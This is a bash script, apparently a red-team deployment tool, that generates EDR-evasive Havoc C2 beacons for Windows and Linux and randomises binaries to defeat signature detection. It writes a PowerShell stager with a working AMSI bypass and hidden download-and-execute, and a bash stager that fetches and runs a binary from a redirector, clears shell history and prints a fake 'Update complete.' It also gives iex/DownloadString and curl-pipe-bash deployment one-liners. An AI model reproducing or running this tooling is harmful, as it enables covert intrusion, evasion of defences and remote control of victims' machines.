#!/bin/bash
# EDR-evasive beacon generator for Havoc C2
# Every deployment produces completely unique payloads

# Configuration (automatically populated by Ansible)
HAVOC_DIR="/root/Tools/havoc"
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
PROFILE_FILE="$HAVOC_DIR/config/profile.json"

# Ensure required directories exist
mkdir -p $BEACONS_DIR/windows
mkdir -p $BEACONS_DIR/linux
mkdir -p $BEACONS_DIR/staged
mkdir -p $BEACONS_DIR/shellcode

# Load Havoc configuration from profile
if [ -f "$PROFILE_FILE" ]; then
    echo "[+] Loading Havoc configuration from profile..."
    TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
    ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
    ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
    HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
    HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
else
    echo "[!] Warning: Profile file not found, using default values"
    TEAMSERVER_PORT=40056
    ADMIN_USER="admin"
    ADMIN_PASS="admin"
    HTTP_PORT=8080
    HTTPS_PORT=443
fi

# Generate unique random values for each execution
random_string() { 
    cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
}

# Anti-detection function to modify binary files
modify_binary() {
    local input_file=$1
    
    echo "[+] Applying anti-detection modifications to: $input_file"
    
    # Create a temporary file
    local temp_file="${input_file}.tmp"
    cp "$input_file" "$temp_file"
    
    # Modify the file based on its type
    if file "$input_file" | grep -q "PE32"; then
        # Windows EXE/DLL modifications
        
        # Add random bytes to end of file
        dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
        
        # Modify PE header timestamps with random value
        random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
        printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
            dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
        
        # Try to strip debug information
        if command -v strip &> /dev/null; then
            strip --strip-debug "$temp_file" 2>/dev/null || true
        fi
        
    elif file "$input_file" | grep -q "ELF"; then
        # Linux ELF modifications
        
        # Add random bytes to end of file
        dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
        
        # Try to strip all symbols
        if command -v strip &> /dev/null; then
            strip --strip-all "$temp_file" 2>/dev/null || true
        fi
    fi
    
    # Replace original with modified version
    mv "$temp_file" "$input_file"
    
    echo "[+] Binary modifications complete"
}

# Create advanced Havoc payload profile with evasion techniques
generate_profile() {
    local type=$1
    local profile_name="${type}_profile_$(random_string 8).json"
    
    echo "[+] Creating evasive $type profile..."
    
    # Generate random values for this profile
    local sleep_time=$(( RANDOM % 10 + 2 ))
    local jitter_percent=$(( RANDOM % 50 + 10 ))
    
    if [ "$type" == "windows" ]; then
        cat > "$BEACONS_DIR/$profile_name" << EOF
{
    "Listener": "https",
    "Demon": {
        "Sleep": ${sleep_time},
        "SleepJitter": ${jitter_percent},
        "IndirectSyscalls": true,
        "Inject": {
            "AllocationMethod": $(( RANDOM % 3 )),
            "ExecutionMethod": $(( RANDOM % 3 )),
            "ExecuteOptions": $(( RANDOM % 2 ))
        },
        "Evasion": {
            "StackSpoofing": true,
            "SleazeUnhook": true,
            "AmsiEtwPatching": true,
            "SyscallMethod": $(( RANDOM % 3 )),
            "EnableSleepMask": true,
            "SleepMaskTechnique": $(( RANDOM % 4 ))
        },
        "Binary": {
            "Subsystem": $(( RANDOM % 2 + 1 ))
        }
    }
}
EOF
    elif [ "$type" == "linux" ]; then
        cat > "$BEACONS_DIR/$profile_name" << EOF
{
    "Listener": "https",
    "Demon": {
        "Sleep": ${sleep_time},
        "SleepJitter": ${jitter_percent},
        "Injection": {
            "SpawnMethod": $(( RANDOM % 2 )),
            "AllocationMethod": $(( RANDOM % 2 ))
        },
        "Evasion": {
            "EnableSleepMask": true,
            "SleepMaskTechnique": $(( RANDOM % 4 ))
        }
    }
}
EOF
    fi
    
    echo "$profile_name"
}

# Generate Havoc payloads with EDR evasion techniques
generate_payloads() {
    echo "[+] Generating EDR-evasive Havoc beacons..."
    
    # Windows EXE
    win_profile=$(generate_profile "windows")
    win_output="update_win_$(random_string 8).exe"
    echo "[+] Creating Windows beacon: $win_output with profile $win_profile"
    
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$win_profile" \
        --format exe \
        --output "$BEACONS_DIR/windows/$win_output" \
        > /dev/null 2>&1
    
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/windows/$win_output" ]; then
        modify_binary "$BEACONS_DIR/windows/$win_output"
    fi
    
    # Windows DLL
    dll_profile=$(generate_profile "windows")
    dll_output="module_$(random_string 8).dll"
    echo "[+] Creating Windows DLL: $dll_output with profile $dll_profile"
    
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$dll_profile" \
        --format dll \
        --output "$BEACONS_DIR/windows/$dll_output" \
        > /dev/null 2>&1
    
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/windows/$dll_output" ]; then
        modify_binary "$BEACONS_DIR/windows/$dll_output"
    fi
    
    # Linux binary
    linux_profile=$(generate_profile "linux")
    linux_output="update_linux_$(random_string 8)"
    echo "[+] Creating Linux binary: $linux_output with profile $linux_profile"
    
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$linux_profile" \
        --format elf \
        --output "$BEACONS_DIR/linux/$linux_output" \
        > /dev/null 2>&1
    
    # Apply custom binary modifications
    if [ -f "$BEACONS_DIR/linux/$linux_output" ]; then
        modify_binary "$BEACONS_DIR/linux/$linux_output"
    fi
    
    # Windows shellcode (staged payload)
    shellcode_profile=$(generate_profile "windows")
    shellcode_output="shellcode_$(random_string 8).bin"
    echo "[+] Creating Windows shellcode: $shellcode_output with profile $shellcode_profile"
    
    $HAVOC_DIR/Client/havoc headless \
        --teamserver "127.0.0.1:$TEAMSERVER_PORT" \
        --username "$ADMIN_USER" \
        --password "$ADMIN_PASS" \
        --daemon \
        --generate payload \
        --listener "https" \
        --config "$BEACONS_DIR/$shellcode_profile" \
        --format shellcode \
        --output "$BEACONS_DIR/shellcode/$shellcode_output" \
        > /dev/null 2>&1
    
    echo "[+] All payloads generated successfully!"
    
    # Return payload information
    echo "$win_output:$dll_output:$linux_output:$shellcode_output"
}

# Generate PowerShell and bash stagers
generate_stagers() {
    win_output=$1
    linux_output=$2
    
    echo "[+] Generating evasive stagers..."
    
    # Create PowerShell stager directory
    mkdir -p $BEACONS_DIR/stagers
    
    # PowerShell stager with AMSI bypass and obfuscation
    cat > $BEACONS_DIR/stagers/windows_stager.ps1 << 'EOF'
# PowerShell stager for Havoc C2 with AMSI bypass
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12

# AMSI Bypass
function Bypass-AMSI {
    $a = [Ref].Assembly.GetTypes()
    ForEach($b in $a) {if ($b.Name -like "*iUtils") {$c = $b}}
    $d = $c.GetFields('NonPublic,Static')
    ForEach($e in $d) {if ($e.Name -like "*Context") {$f = $e}}
    $g = $f.GetValue($null)
    [IntPtr]$ptr = $g
    [Int32[]]$buf = @(0)
    [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
}

# Try to bypass AMSI
try { Bypass-AMSI } catch {}

# Randomize variables for evasion
$rnd1 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd2 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
$rnd3 = -join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})

# Error handling with obfuscation
$ErrorActionPreference = 'SilentlyContinue'
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_HOST/")

# Split URL to avoid detection
$r1 = "https://"
$r2 = "REDIRECTOR_HOST"
$r3 = "/content/windows/WINDOWS_EXE"
$url = $r1 + $r2 + $r3

# Download with jitter
$outpath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "$rnd1.exe")
try {
    $wc.DownloadFile($url, $outpath)
    Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
    
    # Start process with extra obfuscation
    $p = New-Object System.Diagnostics.Process
    $p.StartInfo.FileName = $outpath
    $p.StartInfo.WindowStyle = 'Hidden'
    $p.StartInfo.CreateNoWindow = $true
    $p.Start()
    
} catch {
    # Fail silently
}
EOF

    # Replace placeholder values in PowerShell stager
    sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/windows_stager.ps1
    sed -i "s/WINDOWS_EXE/$win_output/g" $BEACONS_DIR/stagers/windows_stager.ps1

    # Bash stager with obfuscation techniques
    cat > $BEACONS_DIR/stagers/linux_stager.sh << 'EOF'
#!/bin/bash
# Linux download and execute Havoc beacon with EDR evasion

# Function obfuscation
function x() {
    command -v "$1" > /dev/null 2>&1
}

# Random temp filename
r() {
    head /dev/urandom | tr -dc a-zA-Z0-9 | head -c${1:-10}
}

# Randomize variables
TMPVAR=$(r)
TMPFILE="/tmp/.${TMPVAR}"

# Check which download tool is available
if x curl; then
    # Split URL to avoid signature detection
    p1="https://"
    p2="REDIRECTOR_HOST"
    p3="/content/linux/LINUX_BINARY"
    url="${p1}${p2}${p3}"
    # Add random sleep between operations
    sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
    curl -s -o "$TMPFILE" "$url"
elif x wget; then
    p1="https://"
    p2="REDIRECTOR_HOST"
    p3="/content/linux/LINUX_BINARY"
    url="${p1}${p2}${p3}"
    # Add random sleep between operations
    sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
    wget -q -O "$TMPFILE" "$url"
else
    exit 1
fi

# Make executable and run in background
chmod +x "$TMPFILE"
# Add random sleep before execution
sleep $(awk -v min=0.1 -v max=0.5 'BEGIN{srand(); print min+rand()*(max-min)}')
("$TMPFILE" > /dev/null 2>&1 &)

# Clean up command history if possible
[ -f ~/.bash_history ] && cat /dev/null > ~/.bash_history 2>/dev/null
history -c 2>/dev/null

echo "Update complete."
EOF

    # Replace placeholder values in Bash stager
    sed -i "s/REDIRECTOR_HOST/$REDIRECTOR_HOST/g" $BEACONS_DIR/stagers/linux_stager.sh
    sed -i "s/LINUX_BINARY/$linux_output/g" $BEACONS_DIR/stagers/linux_stager.sh
    chmod +x $BEACONS_DIR/stagers/linux_stager.sh
    
    echo "[+] Stagers created successfully"
}

# Create manifest file
create_manifest() {
    local payload_info=$1
    local win_output=$(echo $payload_info | cut -d':' -f1)
    local dll_output=$(echo $payload_info | cut -d':' -f2)
    local linux_output=$(echo $payload_info | cut -d':' -f3)
    local shellcode_output=$(echo $payload_info | cut -d':' -f4)
    
    echo "[+] Creating manifest file..."
    cat > $BEACONS_DIR/manifest.json << EOF
{
  "windows_exe": "$win_output",
  "windows_dll": "$dll_output",
  "linux_binary": "$linux_output",
  "windows_shellcode": "$shellcode_output",
  "redirector_host": "$REDIRECTOR_HOST",
  "redirector_port": "$REDIRECTOR_PORT",
  "c2_host": "$C2_HOST",
  "havoc_teamserver_port": "$TEAMSERVER_PORT",
  "havoc_http_port": "$HTTP_PORT",
  "havoc_https_port": "$HTTPS_PORT",
  "generation_time": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
}
EOF
}

# Create reference file
create_reference() {
    local payload_info=$1
    local win_output=$(echo $payload_info | cut -d':' -f1)
    local dll_output=$(echo $payload_info | cut -d':' -f2)
    local linux_output=$(echo $payload_info | cut -d':' -f3)
    local shellcode_output=$(echo $payload_info | cut -d':' -f4)
    
    echo "[+] Creating reference file..."
    cat > $BEACONS_DIR/reference.txt << EOF
Havoc C2 Server Details:
- C2 IP: $C2_HOST
- Redirector Domain: $REDIRECTOR_HOST
- Teamserver Port: $TEAMSERVER_PORT
- Admin User: $ADMIN_USER
- Admin Password: $ADMIN_PASS

Beacons Generated ($(date)):
- Windows EXE: $win_output (Path: $BEACONS_DIR/windows/$win_output)
- Windows DLL: $dll_output (Path: $BEACONS_DIR/windows/$dll_output)
- Linux Binary: $linux_output (Path: $BEACONS_DIR/linux/$linux_output)
- Windows Shellcode: $shellcode_output (Path: $BEACONS_DIR/shellcode/$shellcode_output)

Deployment Commands:
- PowerShell:
  powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"

- Linux:
  curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash

Anti-Detection Features Enabled:
- Binary signature randomization
- PE/ELF header manipulation
- Sleep mask obfuscation
- AMSI bypass in stagers
- EDR unhooking
- Indirect syscalls
- Random sleep/jitter timing
EOF
}

# Main execution flow
echo "[+] Starting EDR-evasive Havoc beacon generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"

# Generate payloads
payload_info=$(generate_payloads)

# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)

# Create manifest file
create_manifest "$payload_info"

# Create reference file
create_reference "$payload_info"

echo "[+] EDR-evasive beacon generation complete!"